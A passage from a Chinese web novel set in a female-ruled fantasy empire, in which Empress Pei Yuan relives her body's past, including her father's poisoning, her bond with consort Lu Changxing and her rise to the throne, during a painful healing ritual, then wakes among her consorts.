不过片刻功夫,一杯香茗便奉置女子面前,女子端杯啜饮后,陆长行落坐在她的身畔:“早起时听闻,陛下命韩大人将韩柏带回家了?” 裴源‘嗯’一声,没好气道:“他捅了朕一刀,不赶他回家,难道还让他继续赖在朕的后宫啊?他想的美!” “陛下宽宏。”陆长行沉默几息,道:“凤武将军失职,慧君背叛陛下,二人罪无可恕,然稚女无辜。臣看那孩子粉雕玉琢,实在可爱,故,臣想留在身边,不知陛下能否允准?” 裴源微微蹙眉。 陆长行见其神色,又道:“臣知陛下定不忍斩杀幼女,可那孩子尚满周岁,若是送去慈幼院……” 裴源打断道:“好歹是后宫出生的孩子,朕自不忍送到慈幼院,不过你要的晚了。去岁太女百日,凰贵君一见之下喜爱至极,若不是做局,那孩子恐怕百日后就要送去如华宫了。昨日事毕,朕已命乌宛白宣布了太女的死讯,实则早早就被凰贵君抱走了,温老太尉瞧了,亦喜爱的紧。” 陆长行了然:“既得凰贵君养育,也是那孩子的造化。” 话虽如此,可当第二杯茶入口时,裴源余光瞥他,仿佛情绪失落的模样。 裴源不予理会。 过往便是太纵着他,所以这后宫宫门任他来去,丝毫未将她这个凤帝放在眼里。 陆长行似有所觉,默默起身将食盒里的肉丝粥取了:“肉丝粥,陛下少食一些,晚些时候驱蛊也能攒些力气。” 裴源放下茶杯:“很费精力吗?” 陆长行沉默几息,含糊其词:“陛下不必担忧,臣会一直陪在陛下左右。” 裴源眸光微沉,似是预料到过程会十分难捱,所以竭力敛去心底深处的恐惧,接过汤匙,慢条斯理的终将那碗肉粥尽数咽下。粥肉倒也鲜香,但不知是心情使然,还是肠胃又因毒物紊乱,不过片刻,便觉胃中翻涌,隐隐作呕。 裴源下意识瞥向果盘中的青橘,陆长行似有所感,忙取过一个青橘,指尖轻剥,尚未剔净橘瓣上的细丝,便被裴源一把夺过,塞入口中。 酸涩之味瞬间弥漫口腔,令牙齿打颤,却也压住了呕吐冲动。 陆长行看在眼里,心中对柳玉书的痛恨愈发深重,对自己一年前决然离宫的举动,满是自责。 昨日众人皆为她奔波效力,唯有身为君后的自己未能参与其中。他心中不免生出几分落寞,却也明白,这怪不得旁人。 自己最大的过错,便是过于自以为是。他总是以“为她效力”为名,却行着与她心意背道而驰之事。 裴源并未在意他的心事,端起茶杯饮尽,重重落杯:“开始吧。” 陆长行扶了裴源起身,小心翼翼的服侍她更衣,又将发簪尽数取下,满头华发垂落间,凤眸轻抬,轻声问道:“时间会很久吗?” 陆长行轻轻捋顺她的发丝,语意温柔:“陛下不用害怕,臣准备了安神香,陛下只需睡上一觉,醒来便会无碍了。” 裴源轻声应了一个‘哦’,转身上了方台,偏头看着窗外的风景发呆,随着清冽的香气渐渐萦绕内殿,她的眼皮也随之渐重,最后毫无知觉,甚至连郭嘉安等人步入殿中都无所察觉。 陆长行取出苗银坠,柳叶眸光凝重:“务必要控制住她,因为剥离的过程,会非常痛苦。” 庄与之眸色一沉:“不取不行吗?” 温阳泽道:“你若不介意她未来会变成一个傻子,不取也可以。” 庄与之不再言语,待陆长行准备妥当后,默默摁住了她的手腕,眼见一滴血顺着银针没入 女子的眉心,原本睡意安宁的女子微微蹙眉,不过须臾,撕心裂肺的痛苦嘶吼充斥着整个宫殿…… 若是之前的头疾如遭重锤叩击,而今日之痛,便如大脑里赛入了一个绞肉机。 随着痛意渐深,明明意识在虚空的裴源,随着眼前光芒乍现,耳边竟传来了女子的报喜声:‘恭喜陛下,贺喜陛下,是位帝姬。’ 什么帝姬? 裴源满腹狐疑,却痛的无法思考,只在短暂的沉默后,听到了气若游丝嫌恶声:‘朕不想看见她,送去如华宫,交由沈侍君抚养。还有……今日之事,你们若敢向外透漏半个字,朕定将尔等千刀万剐!’ 这声音…… 竟是先帝。 裴源努力睁眼,可无论如何努力,眼前都是雾蒙蒙的一片,直至男子焦急的声音响在耳畔:“五帝姬怎么不喝奶啊?” 另一个男子开口,声音显得有些冷漠:“那便是不饿,饿了她自然会喝。” 裴源这才恍然,她竟以第一视角,经历着原主的过往。 随着视线的逐渐清晰,到了原主刚满周岁的日子,先帝第一次踏足如华宫,瞥了眼才满周岁的原主,才冷漠的看向沈承谦:“君后进来身子不宁,司天监道:后星与天机星相冲,因而后宫中生有一股不祥之气,直指你的如华宫。你作何解释?” 沈承谦逗弄着怀里的原主,看也不看凤帝一眼:“陛下怒气而来,想来已有了决断,何必还要询问臣的意思。” 先帝没好气道:“朕让你死,你死吗?” 沈承谦毫不求情:“君让臣死,臣不得不死。” 先帝强忍怒火,冷笑起身:“既然冷饭没吃够,你便接着吃!未来时日还长,迟早有一日,你会哭着求朕垂怜你!” 先帝拂袖而去。 不过两日,沈承谦刚一用过晚膳,便猛地吐出一口鲜血,原主似是被吓到了,哇的一声,哭的撕心裂肺,沈承谦顾不得腹痛,一路踉跄着冲至她的身侧,将她紧紧涌入怀里:“小源儿不哭,爹爹没事,爹爹没事……” 那夜,如华宫彻夜燃烛,但沈承谦终是未熬过黎明。 先帝立在榻前,静静凝视着他的尸身良久,终在一滴泪滑过嘴角时,勾起了一抹弧度,声音却冷的瘆人:“朕未准,沈承谦,你竟敢先死的!" 原主在紫宸殿住了几日,先帝常轻抚着她眉眼,眼神哀戚,似在思念故人。 一晃儿,原主五岁,被宫人连哄带骗的带去了凝晖殿,她走了一圈,发觉殿中无人,于是从凤椅上取下了所有软垫铺在了案下,迷迷糊糊睡了一觉。 醒来后,殿中依旧无人,闲来无趣,便替先帝批阅了一份奏折,而后手一背,老神在在的离开了凝晖殿。 几日后,原主躺在假山上晒太阳,忽闻路过的宫人说:工部尚书惨遭惩处,她似觉好奇,起身听了一会儿,得知是因贪墨被罚后,稚嫩的脸上露出了欣慰之色。正要躺下继续休息,余光瞥见了先帝的身影。 原主似不相识,只居高静静与之对视良久,还是先帝先一步打破了沉默:“小不点,知道文渊阁的路吗?” 原主点点头,语气稚嫩:“你要去吗?若是去的话,一定要白天去。” 先帝狐疑:“晚上不能?” 原主眨眨眼:“那曾着了场大火,死了不少人呢,所以夜晚总有鬼魂在哭。” 先帝没来由的失笑:“世上无鬼,不过是地处较高,夜风作祟罢了。” 原主面无表情道:“风也会喊人的名字吗?” 先帝一愣,追问:“什么名字?” 原主一字一句道:“常蕴藉,她们在喊常蕴藉,还她们的命来~” 那是先帝君后的名字。 所以先帝愣在原地,不过几息,再凝看假山之上的女娃娃时,眸色渐深,更隐隐透出几分凌厉:“谁教你说的这些话?” 原主乖乖道:“我的爹爹沈承谦。”见先帝神色一凛,原主一脸懵懂的样子又道:“爹爹梦中告诉我,常蕴藉是毒害他的元凶,可元凶是什么意思?常蕴藉又是谁?”她眼睛一眨一眨的看着先帝:“你认得常蕴藉吗?” 先帝沉默几息,试探道:“认得。” 原主笑的开怀:“太好了,那劳您转告他,未来的有一天,我会送他去见我爹爹哦。” 先帝瞳孔微缩,良久,又问:“你知道我是谁吗?” 原主小手托着腮,一脸天真的反问:“你想让我知道吗?” 先帝沉默良久,没来由的脱口问到:“你想做凤帝吗?” 原主想也不想道:“不感兴趣。” 先帝嘴角微勾:“你知道做凤帝意味着什么吗?” 原主摇头:“不想知道。” 先帝:“……” 先帝吃了瘪,似不服气般,与孩童置气道:“你早晚会知道的!” 原主:“……” 那之后,原主活的愈发小心谨慎,安然的又度过了五年,镇北王卿回京,原主在凝晖殿外,第一次看到了陆长行。 第84章 第84章晋江文学城 裴源觉得陆长行不似京城闺阁长大的郎君,举止洒脱,颇有男儿气概,故而多瞧了他几眼。 先帝目光如炬:“你喜欢陆家那小子?” 裴源已经十岁了,不似五岁时可以口无遮拦,还要装成恭敬的模样:“儿臣尚年幼,不懂什么是喜欢。” 先帝冷笑一声:“喜欢也轮不到你,待他长大,朕就会将他赐予太女为夫配。” 裴源不语。 先帝又道:“你也老大不小了,整日逗猫钓鱼有什么出息?明日起,去东宫担任辅佐官,协助太女处理东宫事务,散值后,去校场学习武术和骑射。” 裴源有些不情愿。 太女身边的狗腿无不卑躬屈膝,奴颜媚骨,所以冷不丁的见了裴源这种不假辞色、态度冷淡的人,一日两日还觉得十分有趣,时日一久,便觉得厌恶至极,故而常常在众人面前,言辞污秽,想让她下不来台,但裴源往往不以为意。 尤其发现太女大脑发育不完全,小脑不完全发育后,心中对她只剩下鄙夷,甚至连带着看陆长行都极不顺眼。 彼时,陆长行像个开了屏孔雀,无论走到哪里,都能惹的一群娘子前呼后拥,亦处处找她的麻烦,总是跟在裴源身后,拍着她的头,小不点、小不点的喊,一次游猎,裴源终于忍无可忍,将他堵在营帐之内。她拔下头上的银簪,寒光一闪,直抵他眼前,威胁他离自己远一点。 那时的陆长行,骄矜如玉,从未受过这般威胁,竟被吓得泪眼婆娑,瞬间,泪流成河。裴源看着他那双红通通的眼,一时愣在原地,手足无措。最后,认命一般哄了他足足两个时辰。 自此之后,裴源对他敬而远之,可陆长行却仗着母亲的势,常常跑去校场,名义上说要与她切磋武艺,实则便是想尽办法占她的便宜。男子本就身形高大,陆长行又长裴源两岁,裴源自然不是他的对手。于是,裴源屡屡被他压在身下,一脸得意:“唤我一声哥哥,我就放了你。” 时光荏苒,几年后。裴源似春雨后的竹笋般,身子迅速拔高,武艺也日益精进,竟也能与陆长行打得有来有回,偶尔还会将他压在身下。不过,她对“哥哥”“妹妹”的称呼始终不以为然,只是居高临下地凝视着他的眉眼,看他的长发凌乱,或是将视线下移,盯着他的脖颈,眸色渐渐深邃。 “你长喉结了。” 男子自幼吞服育籽,一旦生根,体内阴阳混沌,服食育元丹后,身体停止发育,因为能量皆要供给生育囊,所以,这里的男子,不该出现较为鲜明的男性特征。 否则,会视作不详,抓去剔去长发,关入寺里,永不得出。 和尚出不来,但娘子可以入。 因而,大晟的寺庙常常传出污秽不堪的丑闻,寺更被人戏称为倌庙。 不过,这也只是在民间;高门大户的郎君若未服育籽,通常会在成年前对外宣称身患奇症,过上两年,招女入赘。 即便如此,还是会遭人诟病。 所以陆长行闻言脸色巨变,一个侧身挣脱桎梏,慌乱的整理起的衣领的间隙,盯着裴源狠狠道:“你若敢说出去,我便杀了你!” 裴源盯着他一语不发,眼见陆长行眼眶变红,骑马愤然离去。 自那以后,陆长行再未踏入校场一步。裴源再次听闻他的消息时,是先帝册封他为星河世子,并赐太女为配。 数日之后,陆长行登上马车返回北境,待弱冠之礼完成后,回京与太女完婚。 太女相送的队伍无比浩大,给足了未来夫婿的脸面,裴源觉得无趣,径自骑马跑 去了城外的十里亭,叼着狗尾巴草坐在凉亭的台阶上,懒懒倚着石柱。 不多时,陆长行归程的马车途径暂停,少年掀开车帘,柳叶眸无波无澜的与女子相互对望了良久。终是等到女子起身,吊儿郎当的走到车前,将怀里早已揣的温热的锦盒递到了车窗前,见男子许久未接,索性道:“不要算了。” 她准备抽回手时,被陆长行一把夺下,并当着她的面展开了锦盒,而后盯着里面的黑玉扳指微微蹙眉:“我就知道……果然好丑。” 裴源面无表情:“又不是给你戴的,你管它美丑。” 陆长行不解:“何意?” 裴源随口道:“等过两年北镇王府比武招赘,我去凑个热闹,若赢了,你将它还我便是。” 陆长行一愣,一脸得意模样:“我可是陛下钦定的太女夫,未来的君后,放着这么尊崇的身份不做,跑去招赘妻?你当我疯了?” 裴源挑挑眉:“你说的倒也有理。”说着一摊手:“那把戒指还来,花了我好多银子呢,我可不能白白便宜了别的男人。” 陆长行冷哼一声:“小气!”说着,当着她的面取出扳指套在了拇指上,居高临下睨着她道:“聘礼我就收下了,但先说好,做本世子的赘妻,可是要生孩子的。” 裴源无所谓道:“那就生喽。” 陆长行见她神色从容,心中没来由的泛起波澜,面色却平静如水:“莫要忘了精进武技,免得到时候被人踹下擂台。” 裴源轻笑一声:“不受宠的帝姬,也是帝姬。谁若敢和我抢,我便让她好看。” 陆长行放下车帘,微风拂过,撩的车帘上下浮动,男子上扬嘴角恰落入了裴源的眼眸。 隔年,太女落势,常蕴藉亦受牵连。 裴源像个骄傲的凤凰,寻到了被贬为庶民的常蕴藉,喂他饮下剧毒,报了昔年他毒害爹爹的仇。 此后,裴源时来运转,被册封为王卿,宫外赐予府邸,先帝的慈爱悄然向她倾斜。 然世事无常,西南宁瑞郡赈灾之役功败垂成,本就稀薄的母爱随之消散;她又被调往西境戍边,却因轻信他人,致全军覆没,满城尽屠。 那一夜,西川战火纷飞,她被吊于城楼之上,亲眼目睹屠城惨烈。百姓的哀嚎与敌军的嚣笑声交织耳畔,她的情绪从最初的怒火攻心,到卑微哀求,直至最后,只剩一片漠然与麻木。 陆萧玉将她从城楼救下,她依旧深陷那夜的惨状,难以自拔,自此,一蹶不振。 数日之后,镇北王全族被屠的消息传至西境,裴源闻讯,愣怔良久。回过神时,月挂枝头,她悄然离开了陆萧玉置办的小院,踏着月光,开始了漫无目的的流浪。 她踏过满是落叶的山涧,凿过冰冻的河流。待到迎春绽放时,她手持破碗,衣衫褴褛,再次融入人群。 她活的浑浑噩噩,想用折磨自己的方式赎罪,以慰藉西川所有的亡魂。 所以,任恶犬与自己争食,乞丐欺凌毫不反抗,被恶霸打得鼻青脸肿也不会发出一声呻吟,她只想就此了却余生。 没醒到,踏入柳州后,改变了境遇。 温府收留了她,温家的小公子为了让她重振旗鼓,日日登门,苦口婆心。 裴源烦的要死,几次潜逃,几次未果,最后,终忍不住问他:“生辰宴那日的意外,是你故意设计,只为引我踏入温府,是吗?” 温阳泽一愣,大方点头应是:“祖母收到陛下旨意,命她劝你重新振作。” 裴源沉默数息:“既命温太尉规劝,为何公子日日叩门。” 温阳泽眸光深邃凝她片刻:“某心悦娘子,盼嫁汝为夫。” 裴源不动声色,抬眸定定与之对视良久,终下结论:“鬼扯。” 温阳泽眉头微挑,自若饮了口茶后,又道:“我生来体弱,吃不了相妻教女,侍奉公爹的苦。” 裴源听后冷笑一声:“我看你是不甘一辈子囚困后宅方寸之地,于是想寻个踏板,去施展你的一身才华与抱负。” 温阳泽想了想:“或许‘踏板’一词并不妥当,毕竟,我要与她结为连理,共度余生。所以,更准确地说,我是想登上王卿的船。大雾弥漫,王卿的船已停泊数月。若王卿重燃斗志,我愿为你引航,披荆斩棘,共度险境。” 裴源饮尽了杯中酒,直接躺倒了方台上:“那你找错船了,我的船早已沉了,只剩一根浮木在水上飘着,支撑我一人尚费劲呢,哪里还撑得住旁人?” 温阳泽也不多言,起身留下一句:“王卿累了,我不便久留,明日再来叨扰。” 裴源:‘……’ 是夜,裴源再次潜逃。 数日过后,不知名的村庄里,裴源看着温阳泽毫无血色的脸,终是跪地望天,一声长叹:“这就是命定的羁绊吗?如斯恐怖,如斯恐怖!” 温阳泽:“……” 几个月后,连下五城,打的敌军节节败退的裴源荣耀回京。彼时,三王卿、四王卿与六王卿正斗的如火如荼,裴源本不愿干涉其中,只想从三方势力里寻个倒霉蛋依附,奈何先帝忽而病重,三方势力绞尽脑汁的去争夺监国听政之权,最后,竟无端砸到了裴源的身上。 裴源接过圣旨,如同接过了一个烫手山芋,第一次明白了什么叫做:人在家中坐,祸从天上来。 京城的漩涡远比战场还要凶险,第一次头疾发作时,疼的裴源彻夜难眠,可她依旧会在事后反思己过。 可随着往后无数次的头疾发作,终让裴源终于放弃思考,她逐渐变的冷血无情,从此,无视卑微软弱之人的眼泪,免疫可怜无助之人的哀求,甚至更加沉默寡言。 终有一日,她在头疼欲裂中抽出长剑,只想砍向目光所及的所有,以发泄心中的暴怒。 府中下人无不惊恐,四处逃窜,只有一人不惧长剑,迎面而来,将她紧紧拥在了怀里。 不知为何,原本要折磨她一日一夜的头疾,竟在短暂的相拥后,痛意渐消,视线从模糊变的清晰,她竟然看到了陆长行。 他低声问道:“你当初的聘礼,如今还算数吗?” 她恍惚间以为自己一脚踏入了黄泉,眼前之人不过是虚无的幻影。于是,她毫不犹豫地抵住他的后颈,倾身而上,将他深深吻住。 那吻漫长而炽热,久到足以让裴源确信他的真实。所以,霸道的吻渐渐变得小心翼翼,又因满心的喜悦而愈发深深的索取,全然不顾身在庭院,以及越来越多闻讯而来之人的围观。 良久,唇分。 裴源轻轻触碰他泛红的眉眼,眼眶也因动容而渐渐泛红:“你还活着?” 陆长行眼神缱绻,抬手温柔地替她捋顺凌乱的发丝:“我还活着。” 裴源嘴角微勾,露出一抹失而复得的微笑。可很快,她就因乌宛白的一句“王卿已经很久没有这样笑了”,瞬间拉回现实。笑容敛起,人亦退后一步,与男子拉开距离,面容很快恢复阴沉,就连眼神也迅速冷了几分。 陆长行愣住,似是对她的变化感到陌生。 彼时,温阳泽缓步上前,唇角含着一抹意味深长的笑:“陆郎君果然医术高明,只一抱,便治好了王卿的头疾。”他转向裴源,眼中满是玩味:“如此神医,王卿以为,该以何种身份留在王府为宜?” 裴源冷冷瞥他一眼,语气淡漠如霜:“你是王宾,你说了算。” 言罢,她漠然转身,踏入书房,再不回头。 陆长行微微蹙眉,还未来得及开口,温阳泽已然微笑引路:“陆郎君,可否移步阁房细谈?” 陆长行这才转眸看向温阳泽,目光审视之余,亦藏着几分警惕。温阳泽却不戳破,只是转身先行一步。 裴源不知两人相谈了多久,又聊了什么,只知自那之后,陆长行便以医者的身份,留在了王府。 寒来暑往,数不清的冷箭奇袭,她变得偏执多疑、杀伐果绝、冷酷无情,到最后,她数不清为了铲除异己,杀了多少人。 却唯予一人三分柔情。 裴源不知陆长行经历过什么,只知久别重逢,男子已然褪 去了往昔的骄矜与傲色,少年意气也变得内敛沉稳。甚至那双灵动的柳叶眸,都失去了往日的神采,眸底沉淀着无尽的哀伤。 他常在她的书房里走动,替她奉上香茗,替她研磨墨汁,默默地做着那些本不属于他的琐事。裴源从不理会,也极少与他攀谈,是以书房里常常只有沉默,以及墨块在砚台上摩擦时发出的细微沙沙声。 偶尔,陆长行会因困倦,伏在案边,在她的身畔睡去。也只有这个时候,裴源才会暂时放下手中的公务,静静地看着他。 他的睫毛浓密纤长,像是羽毛制成的扇子;他的眼、他的鼻、他的唇……甚至他的手指,白皙修长,骨节分明,裴源总会忍不住想要去触碰。 终有一日,她的指尖被他握在手心,裴源下意识抽离,却被男子牢牢紧攥,陆长行半梦半醒的坐起,欺身将她压在方台,而后努力睁开迷蒙的柳叶眸:“叫我一声哥哥,我便放了你。” 裴源愣了良久。 时移世易,他与她,早已不再是他与她了。 陆长行似已梦醒,柳叶眸不知不觉泛了红,于是俯下身拥她,下巴抵着她的肩,低沉声音响在耳畔:“曾经,我以为你过的很苦;现在回想,才发觉比之现在,那时的你过的很甜。” 裴源不语,却在心中予他肯定。 是啊,那时的她,不过是常被人言辞欺辱取笑罢了。 陆长行轻轻吻着她的脖颈:“阿源,教教我,怎样,才能让你快乐一点。” 裴源沉默良久,终于似下了某种决定般,歪头看着他道:“书房男女,白日宣音,不失为乐事一桩。” 说罢,吻向他。 陆长行羽睫微颤,旋即与她十指紧扣,共坠迷途…… 那日之后,两人愈发亲密。 后来,先帝身子不宁,藏于京城地下的暗流,终于一股脑的涌上岸边,那日的京城血流成河,刀光剑影中,裴源似乎又回到了西川被屠城的那夜,只是昔日的她被束缚吊在城楼,俯瞰厮杀;那日的她,则成为了厮杀中的一员。 她在紫宸殿前,与三王卿刀剑相向。 姐妹的鲜血淋溅在她的脸上,炽热宛若火烧,不仅染红了她的甲胄,亦染红了她的双眼。 她杀红了眼,甚至感觉身体中的血液都在沸腾。最后,她亲手砍下三王卿的头颅,一步一步踏上台阶,站在最高点上,将三王卿的头颅抛向人群。 彼时,镇北将军与温太尉齐齐击败另外两支叛军,一路呐喊着冲进了皇宫。 先帝的尚宫缓缓踏出紫宸殿,以一份口谕,敲定了裴源新帝的身份。 翌日,天光微亮,裴源身着凤袍缓步移出凝晖殿,一眼看到了阶下男子,胸前透出洇红,正是昨夜他护自己所受的伤。裴源心中忧惧:“温阳泽同你说过了吧?” 陆长行颔首应是。 裴源几步行至他的面前,用指尖挑起陆长行的下颌:“陆家满门被诛,独留你一个。知道朕为何选你当君后吗?” 因为伤痛,陆长行的月白中衣早已被浸透冷汗,察觉女子手掌下移,陆长行微微仰首,任喉结在她掌心颤动:“臣……是陛下最好的刀鞘。” 微风吹过,迷了裴源的眼,她缓了几息,颔首吻向他的额头:“既知晓,还不在殿中好好养伤?” 陆长行笑道:“阿源初次以帝王之身上朝,我总要亲自护送一程,沾沾喜气。” 裴源虽不赞同,却未制止,下了台阶与他并肩:“走吧,朕的君后。” 陆长行微微一笑,将她的手握入掌心:“走吧,臣的陛下。” 裴源总以为,登上帝位,便是跨越了高山,却未曾料到,这不过是另一条布满荆棘之路的开端。 她每日都在与老臣们斗智斗勇,心情烦闷之时,唯有去往栖梧宫,才能给她些许慰藉。 她知晓陆长行一直在追查镇北王的军械案,便也在暗中帮他彻查。半年后,她终于查明了前因后果,然而那结果,却令她痛心疾首。 只因先帝察觉到她对他情根深种,唯恐他成为她的软肋,便罗织罪名,灭了陆家满门。 这理由无比可笑,亦无比荒唐,却实实在在地发生了。 裴源痛不欲生,满心愧疚,不知该如何面对陆长行,更怕他知道真相后,会离她而去。 自那之后,她开始冷落他,只敢在地道尽头,隔着一面镜子,以解相思,却如隔靴止痒,毫无作用。 裴源似走入了一个无解的迷宫,明知没有尽头,却还要不停向前。过程里,她失去了唯一的拐杖,所以往后的每一步,都变得身心俱疲。 登基第三年的惊蛰前夕,她决定停下的脚步,于是她研磨提笔,写下了一封书信。 【裴源,见字如面。当你展开这封信时,想必你已窥见了“我”的所有过往。 或许,你曾心生疑惑:为何你能如此迅速适应自己的身份;为何你能写出与我一模一样的笔迹,批复奏折更是得心应手……甚至,初见他时,便觉得他最能让你心安。 不必惊诧,因为,你,就是我。 我不知道如今的你,距离失忆已过了多少日夜;亦不知朝局的发展,如今到了何种局面。所以,以下我对众人的描述,你务必仔细阅读,因为有些人是人,有些人是鬼,有些人,则是半人半鬼…… 最后,如果未来的某一日,你感到痛苦,书案下有一块活动的青砖,打开它,里面藏有能让你短暂失去记忆的药丸。它可以让你有效逃避当前的困境。如果只是一般痛苦,你就只吃一粒;若是十分痛苦,你就多吃几粒;若是特别痛苦,你就加大药量。 是的,就是要将痛苦留给过去的自己,因为她活得太甜,甜到让人恼火。 最最后,你可以宠他,但切勿器重他,更不能与他讨论朝政。并非他不可信,而是他会恃宠而骄,羽翼渐丰那日,恐会脱离你的掌控。切记! 长乐三年,二月初五,第N个想要逃避现实的裴源,留。】 * 长乐四年,九月廿一,昏睡的裴源突然睁开了眼…… 第85章 第85章晋江文学城 晨光微熹,一股风透过窗棂,为室中送入了一缕清醒的空气。 裴源试着起身,却感觉身子似散了架一般,她眉头紧蹙,终于撑坐起身,才发觉方台上挤满了人。 陆长行、温阳泽、郭嘉安、庄与之、李萱,就连宫外的西门眙和傅逸春全部在列。 起身的动作被陆长行察觉,他缓缓睁眼,看清女子坐起后,瞬间清醒过来,紧张起身追问:“陛下,您感觉如何?头还痛吗?” 裴源沉默几息,她想开口说话,却觉得嗓子嘶哑的厉害,便只摇了摇头。 陆长行神色稍缓,轻声说道:“那便好。”说罢,便欲为裴源倒水,却被她一把握住手腕。 陆长行满是疑惑地看向她,却见裴源俯身上前,毫不犹豫地投入了他的怀抱。 裴源从前不解“原主”为何独独钟情于陆长行,而今方才明白,陆长行便是她昏暗无光的生活中唯一的色彩。 她胎穿帝姬,唯一待她好的,便只有爹爹;可在她牙牙学语时,爹爹惨遭人毒害。此后,她被安置于淑君宫殿,那些奴仆见她年幼懵懂,便肆意欺凌,若非她的灵魂是个成年人,恐怕早就饿死冻死在了幼时。 就这样一直到了十岁,她遇见了陆长行。 起初,他虽也偶尔随波逐流,取笑于她,却从未对她的身世以及父君之事出言不逊。 作为太女辅佐官的那几年,太女的处处挑衅与讥讽,令她在东宫的日子举步维艰,偶尔外出赴宴,又沦为满京城人茶余饭后的笑柄。 身为皇五女,她们虽不敢明目张胆地对她如何,却总是暗地里嘲讽她的爹爹,而这一切,皆是太女的授意。 她从不会因此恼怒,因为她知道,爹爹的身份不该是她的软肋。 因而后来,她逐渐在东宫有了自己的权利与人脉,譬如,乌宛白。 只是那段时日无比枯燥,既要要 应对各类难缠的人和事,散值后,又要赶往校场习武。 其他皇女都是启蒙的年纪,同时有武师父的教导,而她,年满十岁才第一次接触功夫骑射,她的武师父是个刁钻的妇人,得先前君后授意,对她动辄打骂不过平常。 那日,武师父的鞭子再次挥来时,她没等来预料中的疼痛,而是听到了少年的怒斥:“刁妇!凭你这三脚猫的功夫,于我母卿跟前,提鞋都不配,竟还敢教训帝姬?谁给你的胆子?” 裴源寻声望去,来人竟是名动京城的镇北王的小公子。隆冬时节,少年披着皮毛大氅,蓬松的狐狸毛领将他衬得更加金贵。 而她,不过一袭臃肿破败的戎服。 武师父被他抽得满地打滚,讨饶离去,少年才满脸得意地行至她的身侧,拍着她的头道:“小不点,往后,哥哥来教你功夫好不好?” 裴源凝视着他的柳叶眸,分明前些时日,他还在她面前哭得泪眼婆娑,怎么月余不见,又是明媚的模样。 她虽小他两岁,但骨子里的灵魂却比他长了许多,所以她会权衡利弊,知道小公子自幼习武,足以教她功夫。 所以裴源没有小孩子的骄傲与故作逞强,淡漠应他:“好。” 陆长行一愣,他本想逗逗她的。 裴源视线略过他,看着跟在他一同而来的女子道:“阁下以为呢?” 那女子默了默:“陆小公子武力不俗,卑职可指点帝姬,如何打败陆小公子。” 裴源微微点头。 翌日,裴源依照惯例给母皇请安,那日的母皇正在下棋,见裴源进来,便随手招她起身对弈。裴源站在棋盘前,可裴源看着黑白分明的棋子,却迟迟没有落子。 先帝狐疑地看了她半晌,才开口问道:“不会?” 裴源微微点头。 先帝愣住了,随即又拿起一子落下,语气中带着几分调侃:“还以为朕的小五是个生来什么都会的妖孽呢。” 裴源平静地回答:“儿臣只是个普通人。” 先帝冷笑一声,却没有戳破,只是冷冷地说道:“朕为你择选的武师父,你不喜欢?” 裴源:“武师父很好,小师父更好。小孩子不做选择,儿臣选择都要。” 先帝的手悬在棋盘上空,久久没有落下。片刻后,她才缓缓说道:“你难得和朕讨要东西,既喜欢,就都留着。去吧。” 自此,陆长行有了常来校场的理由。 裴源从前对青梅竹马一词感到陌生,而今想想,她与陆长行的过往,似可称得上青梅竹马。 所以回忆起过往,狠狠拥抱一下竹马,不为过吧? 突如其来的拥抱,令陆长行愣在原地,柳叶眸亦微微颤动,几息静默,陆长行方才小心回应着她的拥抱。 声响虽弱,但也惊醒了诸君,西门眙刚要睁眼,傅逸春的大手便精准覆在了他的眼帘;李宣下意识看了眼身侧温阳泽,见其眼睛紧闭,便也再次阖了眼;庄与之郁闷的偏倚视线,发觉郭嘉安眸色晦暗,仅仅盯着相拥的二人。 九月的清晨透着几分凉意,乌宛白估摸着时辰,小心翼翼的推开殿门步入内殿,一眼瞧见拥抱的帝后二人,刚欲颔首退下,却听凰贵君轻咳了两声。 李宣猛地睁了眼,歪头紧张的看着身侧男子:“兄长?” 温阳泽这才睁开了迷蒙的眼:“无碍,想饮口茶。” 李宣想也不想的拔‘坐’而起,竟发觉帝后二人依旧相拥,俨然视众人于无物。 李宣:“……” 不理解! 于是倒了温茶返回身时,他默默凑到了陆长行的身后,与将下巴垫在他肩上的凤帝大眼瞪小眼。 裴源懒懒瞥他一眼,毫不客气的将他的头推到了一旁,而后,拥抱继续。 李宣:“……” 李萱嘴角抽了抽。 凰贵君见此情形,默默起身接过了李宣手里的茶,看着乌宛白道:“备膳吧。” 乌宛白偷偷看了眼帝后,不确定的问:“在此?” 温阳泽点头。 乌宛白愕然:“一起?” 温阳泽冷冷瞥她一眼。 乌宛白颔首默默扶额,躬身退下。 饭菜备齐的时候,诸君已接二连三洗漱完毕,然,帝后依旧旁若无人的相拥。 诸君:“……” 温阳泽无奈,又是一声轻咳,端了杯温茶上前:“陛下,该用膳了。” 裴源看了看他,这才不情不愿松了手,接过温茶一饮而尽,温水入喉,缓解了嗓子的干涩,她歪头看了眼温阳泽问:“朕睡了几日?” 温阳泽:“今日是众罪臣行刑的日子。” 裴源愣了愣,了然。 两日光景,体验了‘自己’二十余年的人生,人生果然如大梦一场。 温阳泽又道:“陛下命臣寻的人已带回了京城,您可想见见?” 裴源沉默几息,轻叹道:“朕与他无话可说,你看着安排便是。” 陆长行闻言,拧去帕子上的水:“地牢阴湿,凰贵君不宜涉足,臣想替陛下走一遭。” 裴源从他手里接过温热的帕子,想了想道:“朕不想他死。” 陆长行颔首道:“臣知道该怎么做。” 裴源这才起身,简单洗漱过后,端坐案前,扫了眼诸君,淡淡道:“此情此景,让朕忽而想到了一个故事。” 郭嘉安将盛好的粥放在了她的手边,下意识问:“什么故事?” 裴源拿起汤匙搅弄着肉粥,任粥的热气在碗上起舞:“从前有座山,山上有个老爷爷,得到了七颗宝葫芦籽,得他精心培育后,种出了七个大葫芦。宝葫芦成熟落地时,化作成了七个小男孩,他们各具异能,大娃力大,二娃千里眼顺风耳,三娃金刚不坏,四娃喷火,五娃喷水,六娃隐身,七娃收服兄弟。后来,老爷爷被妖怪抓走了,于是七个葫芦娃齐心协力与妖精斗智斗勇,终于打败了妖精,救出了爷爷,从此,与爷爷幸福快乐的生活在一起。” 诸君:“………………” 诸君眉头紧锁,似在思考这故事背后的隐喻。 殿中静默良久,终是傅逸春打破了沉默:“陛下讲此寓言,意欲为何?” 裴源道:“朕得母皇遗诏登基为帝,得天下养,自当安邦定国、兴利除弊、任贤使能、泽被后世,这是朕之责任,不可推卸;尔等为朕之君臣,责任又该为何?” 众人一阵沉默,你看看我,我看看你,只有西门眙抿了抿唇,试探道:“绵延子嗣,相妻教女。” 席间之人不语,只是目光齐刷刷的落在了他的脸上,西门眙被盯着一头雾水:“都看着我干嘛?我说错了?” 裴源喝了粥,一脸淡定开口:“席上八人,只有两个人能生。” 西门眙愣怔当场,后,忽而激动起身,目光惊愕的一一扫过诸君:“不是……凭什么?” 陆长行:“母卿心疼。” 